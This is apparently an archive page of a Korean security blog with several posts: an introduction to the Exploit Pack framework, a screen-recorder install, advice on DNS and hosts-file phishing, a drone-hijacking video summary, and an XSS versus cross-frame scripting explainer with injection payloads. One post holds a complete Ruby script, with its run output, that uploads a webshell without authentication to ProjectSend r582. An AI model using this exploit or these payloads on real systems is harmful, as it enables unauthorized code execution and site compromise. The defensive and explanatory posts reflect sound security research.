7/28/2015

[Hacking] Exploit Pack :: 통합 Exploit Framework [1] - Exploit Pack과 설치 및 UI

BlackHole Exploit Kit, Angler Exploit Kit에 대해서 들어보신 적 있나요..?
해커라면 많이 들어봤을 이름입니다. 바로 Exploit Kit 인데요. 이런 Exploit Kit는 공격을 좀 더 쉽게 하기 위한 프레임워크라고 보시면 됩니다.

일반적인 WVS(Web Vulnerability Scanner)와는 다른 , 즉 공격하고 성공한 공격을 관리할 수 있는 프레임워크이기에 취약점 스캐너와는 약간 다른 모습을 보입니다.

BHK, AEK는 파일을 구하기 어려운 편이며 어느정도의 가격을 지불하고 구입하는 양상을 많이 보입니다. 대게 안 좋은 목적으로 판매, 구입이 이루어지죠.

서론이 길었습니다. 이러한 Exploit과 그에 대한 결과를 통합적으로 관리할 수 있는 프로그램은 굉장히 좋습니다. 저는 metasploit 을 커스텀하여 사용하는데, 공격의 과정에 중점을 둔 도구이기에 다른 툴에 대해 궁금증이 생겼습니다. 찾아보던 중 Exploit Pack 이라는 재미있는 툴을 발견하여 포스팅합니다.


1. Exploit Pack?

Exploit Pack은 사회적 이슈로 유명하진 않지만 웹상에서 생각보단 자료가 많아 테스트 및 사용해보기 좋을듯합니다. 물론 안전성(그들을 신뢰하지 않기 때문에..)에 대해서는 확인이 필요할 것 같습니다.


위와 같이 공식 홈페이지 접근 시 차세대 Exploit Framework 라는 홍보 멘트와 함께 사용 방법에 대한 Vedio, Download 등 여러 메뉴가 존재합니다.

다운로드를 통해 쉽게 다운로드가 가능하여, unzip 등 각 압축해제 프로그램을 통해 zip 파일 해제 시 jar(java 묶음) 으로 구성된 내용이 확인됩니다.

ExploitPack$ ls
ExploitPack.jar  README.TXT  build      data  exploits  manifest.mf  output
README           SOURCES     build.xml  dist  log       nbproject    src
 
 
README를 확인해보면 아래와 같이 개발자의 멘트를 확인할 수 있습니다.

  1 ##############################################################################################
  2 Exploit Pack - Point, Click, Root
  3 Copyright 2014 - http://exploitpack.com
  4
  5 This program is free software: you can redistribute it and/or modify it under the terms of the
  6 GNU General Public License as published by the Free Software Foundation, either version 3
  7 or any later version.
  8
  9 This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 10 without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
 11 PURPOSE. See the GNU General Public License for more details.
 12
 13 You should have received a copy of the GNU General Public License along with this program.
 14 If not, see http://www.gnu.org/licenses


2. 실행 및 UI 확인(Run and UI Layout)

jar 파일 실행은 java 명령 중 -jar 옵션을 넣어 실행이 가능합니다.

# java -jar ExploitPack.jar


GPLv3 라이센스를 따라가며,돈을 지불하면 Pro 버전 사용이 가능한 것 같습니다.
다른 툴킷에 비해 굉장히 많은 메뉴를 가지고 있습니다. 거의 터미널에서 주로 작업했기에.. 좀 적응이 어렵습니다.

가장 좌측 메뉴에서 Explloit 리스트 클릭 시 우측에서 해당 Exploit 검증 코드가 나타납니다.
또한 각 Pentest에 대한 프로젝트 관리 및 로그, 쉘코드, Fuzzer 등 여러가지 기능을 지원하네요.


상세한 기능 및 안전성(믿어도 되는지?, 이상한 코드가 없는지?) 는 추후 포스팅에서 다루도록 하겠습니다. 안전성에 대해서는 온라인 데이터를 봐서는 크게 문제 없을듯 하나, 혹시나 하기에 어느정도 확인은 필요할 것 같습니다.

추가로 Metasploit 과 연동하여 진행할 수 있는 부분이 있었으면 하네요.
아무렴 뭐 msf 보다 편리한 툴은 아직은 잘 모르겠습니다만. Exploit Pack도 연구해 볼 가치가 있어 보입니다.

감사합니다.
Share: | Coffee Me:

7/27/2015

recodemydesktop - 데비안 화면 영상 캡쳐 프로그램(recode screen[video] on debian)


데비안에서의 화면영상 캡쳐 프로그램 - recodemydesktop

recordMyDesktop is a program that captures audio-video data of a linux desktop session, producing an ogg-encapsulated theora-vorbis file. recordMyDesktop tries to be as unobstrusive as possible by proccessing only regions of the screen that have changed / recordmydesktop

recordMyDesktop is a free and open source desktop screencasting software application written for GNU/Linux. The program is separated into two parts; a command line tool that performs the tasks of capturing and encoding, and an interface that exposes the program functionality graphically. There are two front-ends written in python with pyGtk (gtk-recordMyDesktop) and pyQt4 (qt-recordMyDesktop). RecordMyDesktop also offers the ability to record audio through ALSA, OSS or the JACK audio server. RecordMyDesktop only outputs to Ogg using Theora for video and Vorbis for audio. / wiki


Install
# apt-get install recordmydesktop gtk-recordmydesktop
SourceForge Link : http://sourceforge.net/projects/recordmydesktop/



 
Share: | Coffee Me:

7/26/2015

금융감독원 팝업 악성코드/DNS 변조 원인과 간단한 해결방법

예전에 DNS변조,악성코드 감염을 통한 금융감독원 사칭, 금융정보 탈취로 이슈가 되었던 것을 기억하시나요?
 
최근 세미나 발표에서 사용한 자료 중 일부로 해당 내용을 다루었었는데요, "아직도 발생하고 있을까?" 라는 궁금증으로 구글링, 네이버 검색을 해봤습니다.


 이야기가 나온지 많은 시간이 흘렀지만 아직도, 불편을 겪고 있는 사용자가 많은 것 같습니다.
위와 같은 형태로 특정 웹사이트에 들어갔을 시 팝업을 통해 사용자의 개인정보를 노리는 경우는
무선랜 사용 시 발생하는 경우, DNS(Domain Name Service) 변조를 통해 공격자의 악성 배포지로 유도하여 정보를 탈취하는 경우, 악성코드 감염으로 hosts 파일이 변조된 것 2가지로 압축해서 볼 수 있을듯 합니다.

1. 무선랜 환경에서의 DNS 변조

우리가 인터넷을 사용하여 여러 웹 서비스를 이용하는데, 본래 IP주소로 각 서버, PC에 대해 연결하여 사용하지만 사람은 좀 더 쉽게 접근하기 위해서 도메인이라는 것을 사용합니다.

이 도메인은 문자열과 IP를 매칭시키는 것과 유사하다고 보시면 되고, 현재 보시고 있는codeblack 또한 codeblack.net 이라는 도메인과 서버의 IP가 연결되었다고 보시면 됩니다. 공격자는 같은 네트워크 선상에 있어야 하기 때문에 이러한 경우 대부분 무선랜 환경에서 같은 무선랜에 있는 사용자, 감염된 공유기(AP)를 통하여 변조된 도메인으로 연결되는 경우입니다.

 이와 같은 상황에서는 사용자가 직접 해결하기는 어렵고  팝업을 통해 개인정보를 노출하지 않도록 주의하시고 공격자가 근처에 있을 수 있기 때문에 다른 WIFI를 이용 하시는 것이 좋습니다.

2. 악성코드 감염으로 인한 hosts 파일 변조

대체로 포털사에서 검색 시 나오는 자료는 악성코드로 인한 자료가 많았습니다. 또한 처음 이러한 낚시 공격이 발생한지 많은 시간이 지났기 때문에 최근에 발생하는 경우 악성코드 감염으로 인해 그럴 가능성이 높습니다.
악성코드 감염의 경우 대부분 백신으로 치료가 가능하며, hosts 파일을 확인해보시는 것도 좋은 방법입니다.

경로는 Windows 설치경로(C: or D:?? 등) ..   음 대체로 C를 사용하시는 분이 많기에 C드라이브 기준으로 C:\Windows\System32\drivers\etc\hosts 경로에 존재합니다.

이 파일은 도메인과 IP를 미리 지정할 수 있는 파일이고, 확인하셨을 때 의심스러운 점이 있다면 악성코드 감염 가능성이 높습니다.

백신을 통해 악성코드를 치료하시되 검증되지 않은 악성코드 삭제 프로그램은 어떠한 코드가 있을 지 모르기에 주의하셔서 사용해야 합니다.


 
Share: | Coffee Me:

드론 해킹(SkyJacking) - 무선랜 해킹을 통한 드론 원격제어 탈취

최근 상용화된 장난감 중 큰 인기를 끌고 있는 드론에 관한 이야기입니다.
Youtube에서 Skyjacking 으로 영상을 보던 중 aircrack , RP, JS 를 통한 드론 해킹에 관한 이야기가 있는 영상을 발견하여 공유할까합니다.

직접 이 과정을 테스트/연구 해보고 싶으나... 드론이 없네요 :(

영상을 보면 라즈베리 파이를 이용하여 무선안테나와 연결 후 라즈베리파이로 연결 후
내부에 설치한 Aircrack-ng 패키지를 이용하여 드론과 제어디바이스(아이패드) 간 연결을 크랙하여 제어하는 영상으로 보입니다.

여기서 Aircrack-ng 패키지는 무선랜 해킹에 이용되는 툴이며 Wiki에서 간단하게 어떤 툴인지 알 수 있습니다.

Aircrack-ng는 detector, packet sniffer, WEP와 WPA/WPA2-PSK 802.11 wireless LAN에 대한 cracker and analysis 툴이 탑재된 네트워크 소프트웨어이다. 이 프로그램은 raw monitoring mode을 지원하는 wireless network interface controller와 함께 작동하고 802.11a, 802.11b와 802.11g 통신에 대한 패킷 가로채기도 가능하다. Aircrack-ng는 Linux와 Windows환경에서 작동한다.

NameDescription
aircrack-ngWEP WPA (Dictionary attack)키를 크랙한다.
airdecap-ngDecrypts WEP or WPA encrypted capture files with known key. 알려진 키와 함께 WEP,WPA암호화 캡쳐파일을 복호화 한다.
airmon-ngPlacing different cards in monitor mode. 다른 네트워크 카드를 설치한다.
aireplay-ngPacket injector
airodump-ng패킷 가로채기: Places air traffic into PCAP or IVS files and shows information about networks. 네트워크 흐름을 PCAP이나 IVS 형태로 저장하여 네트워크 정보를 보여준다.
 - Wiki

재미있는 영상 보시죠.




평소 라즈베리파이 및 임베디드에도 관심이 많아 재미있게 봤었습니다.
점점 시대가 지나가면서 드론, 웨어러블 기기들이 상용화되고 있는데, 여기에 대한 해킹 연구 및 악용 사례가 늘어날 것입니다. 보안적인 관점에서 어떻게 관리를 해야할 지 많은 의견이 필요할 것 같고, 그렇지 않아도 각종 보안컨퍼런스에서 IOT, 드론에 관한 이야기가 꾸준히 나옵니다. 해킹을 취미이자 직업으로 가진 사람으로서 재미있게 볼 수 있었네요.


Share: | Coffee Me:

7/07/2015

[WEB HACKING] ProjectSend R582 WebShell 취약점(Exploit) [ZERODAY?]

최근 ProjectSend 라는 프레임워크에 대해 분석하던 중 Webshell 업로드가 가능한 취약점을 찾아 Exploit-db에 업로드하였으나..
알고보니 기존에 올라왔던 취약점이였습니다 =_= .. 그저 기쁜마음에 스크립트부터 작성하여 넘겼지만 찾아볼 생각을 하지 않았었네요..

그래도 간단하게 ruby 언어로 짜서 사용가능하기에 블로그 통해 공유드릴까합니다.

현재 최신버전인 r582에서도 동작하는 제로데이네요.

GIT Repo

https://github.com/hahwul/ProjectSend_r582_webshell.git
 + https://github.com/hahwul/ProjectSend_r582_webshell/blob/master/ProjectSend_r582_webshell.rb
 + https://github.com/hahwul/ProjectSend_r582_webshell/blob/master/README.md
# git clone https://github.com/hahwul/ProjectSend_r582_webshell.git


Source Code

ProjectSend_r582_webshell.rb
# --------------------------------------------------------------------
# Exploit Title: ProjectSend-r582 WebShell Upload(non-auth)
# Date: 2015-07-01
# Exploit Author: hahwul
# Blog: http://www.codeblack.net
# Vendor Homepage: http://www.projectsend.org
# Software Link: http://www.projectsend.org/download/108/
# Version: ProjectSend-r582
# Tested on: debian [wheezy]
# CVE : none
# --------------------------------------------------------------------

require "net/http"
require "uri"
require "net/http/post/multipart"

if ARGV.length != 2

puts "ProjectSend r582ver Webshell Upload"
puts "Usage: ruby ProjectSend_r582_webshell.rb [targetURL] [ShellFile]"
puts "  targetURL(ex): http://127.0.0.1/vul_test/ps"
puts "  ShellFile(ex): MyShell.php"
puts "  Example : ~~.rb http://127.0.0.1/vul_test/ps MyShell.php"
puts "  Include Gem : gem install multipart-post"
puts "  exploit & code by hahwul[www.codeblack.net]"

else

target_url = ARGV[0]    # http://127.0.0.1/ps/
shell_name = ARGV[1]    # myshell.php
exp_url = target_url + "/process-upload.php"

uri = URI.parse(exp_url)
http = Net::HTTP.new(uri.host, uri.port)

multipartParams = {"file" => UploadIO.new(File.new(shell_name), "application/octet-stream", "shell.php")}
multipartParams = multipartParams.merge({"name"=>"shell.php"})
request = Net::HTTP::Post::Multipart.new(uri.request_uri, multipartParams)
request["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
request["Cache-Control"] = "no-cache"
request["User-Agent"] = "Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.7.0"
request["Connection"] = "keep-alive"
request["Accept-Language"] = "ko-kr,ko;q=0.8,en-us;q=0.5,en;q=0.3"
request["Accept-Encoding"] = "gzip, deflate"
request["Pragma"] = "no-cache"
response = http.request(request)

puts "Target: "+uri.host+uri.path
puts "Exploit..."
puts "Status code: "+response.code
puts "Open WebShell Page :: "+target_url+"/upload/files/"+shell_name

end


Execute & Result 

# ruby ProjectSend_r582_webshell.rb http://127.0.0.1/vul_test/ps shell.php
Target: 127.0.0.1/vul_test/ps/process-upload.php
Exploit...
Status code: 302
Open WebShell Page :: http://127.0.0.1/vul_test/ps/upload/files/shell.php

Open Upload URL : http://127.0.0.1/vul_test/ProjectSend/upload/files/shell.php
WEBSHELL UPLOAD
total 12 drwxrwxrwx 2 hahwul hahwul 4096 Jul 1 01:21 . drwxrwxrwx 4 hahwul hahwul 4096 Jul 1 01:11 .. -rw-r--r-- 1 www-data www-data 66 Jul 1 01:21 shell.php -rw-r--r-- 1 www-data www-data 66 Jul 1 01:21 shell.php
Share: | Coffee Me:

7/03/2015

[WEB HACKING] XSS(Cross Site Script)와 XFS(Cross Frame Script)의 차이

웹 해킹으로 먹고 살기에 어김없이 보던 중 최근 WVS 결과를 보고 재미있는 사실을 알았습니다.
바로 XSS 와 함께 Cross Frame Script를 보게되었는데, XFS는 처음 들어본 단어였습니다.

XSS와 유사하지만 약간 달라서 XFS라고 명시하고 따로 부르는 듯 합니다.
찾아보니 OWASP에서도 정확하게 명시되어 있었네요..

XFS란?

Cross-Frame Scripting (XFS) is a method of exploiting Cross-site Scripting (XSS). In an XFS attack, the attacker exploits a specific cross-frame-scripting bug in a web browser to access private data on a third-party website. The attacker induces the browser user to navigate to a web page the attacker controls; the attacker's page loads a third-party page in an HTML frame; and then javascript executing in the attacker's page steals data from the third-party page.
XFS also sometimes is used to describe an XSS attack which uses an HTML frame in the attack. For example, an attacker might exploit a Cross Site Scripting Flaw to inject a frame into a third-party web page; or an attacker might create a page which uses a frame to load a third-party page with an XSS flaw.
-OWASP web site-

XSS와 XFS 차이


둘의 차이는 간단합니다. 더 말하자면 XSS가 발생범위가 더 크다고 봅니다. XFS가 발생하는 부분에는 대다수 XSS가 동일하게 들어가기 때문입니다.
XFS는 웹에서 받은 파라미터를 iframe 태그 내 src 속성에 전달하여 사용하는 과정에서 취약점이 발생합니다.

/viewer?page=/test/index.html 과 같은 형태로 viewer 페이지에 page 파라미터를 통해 전달할 때 아래와 같이 노출되는 기능이 있다고 가정합니다.

output
<iframe src="/test/index.html" width=100 height=100></iframe>

위와 같은 형태라면 page 파라미터를 조작하여 공격자가 의도한 페이지로 iframe 링크를 걸 수 있는 XFS 공격구문 구성이 가능합니다.

XFS(Cross Frame Script)
/viewer?page=http://www.codeblack.net

output
<iframe src="http://www.codeblack.net" width=100 height=100></iframe>

해당 부분에서 XSS의 경우에는 javascript 를 이용하거나 html 태그, 속성을 이용하여 공격이 가능할 것입니다.
XSS(Cross Site Script)

input : /viewer?page=javascript:alert(45)
output : <iframe src="javascript:alert(45)" width=100 height=100></iframe>

input : /viewer?page="><script>alert(45)</script><hahwul a="1
output : <iframe src=""><script>alert(45)</script><hahwul a="1" width=100 height=100></iframe>

input : /viewer?page=xss" onload=alert(45) a="
output : <iframe src="xss" onload=alert(45) a="" width=100 height=100></iframe>

두 취약점 모두 유사한 형태이지만 XFS는 단순히 frame 을 통해 다른 도메인으로 연결이 가능할 때 취약하고, XSS는 좀 더 넓게 다른 도메인 및
페이지내에서 스크립트 실행이 직접적으로 가능한 경우도 포함하기 때문에 XSS가 더 risk 가 높은 취약점이라고 이야기 할 수 있습니다.

비슷한 듯 다른 두 공격방법에 대한 이야기였습니다. 감사합니다 :)
Share: | Coffee Me: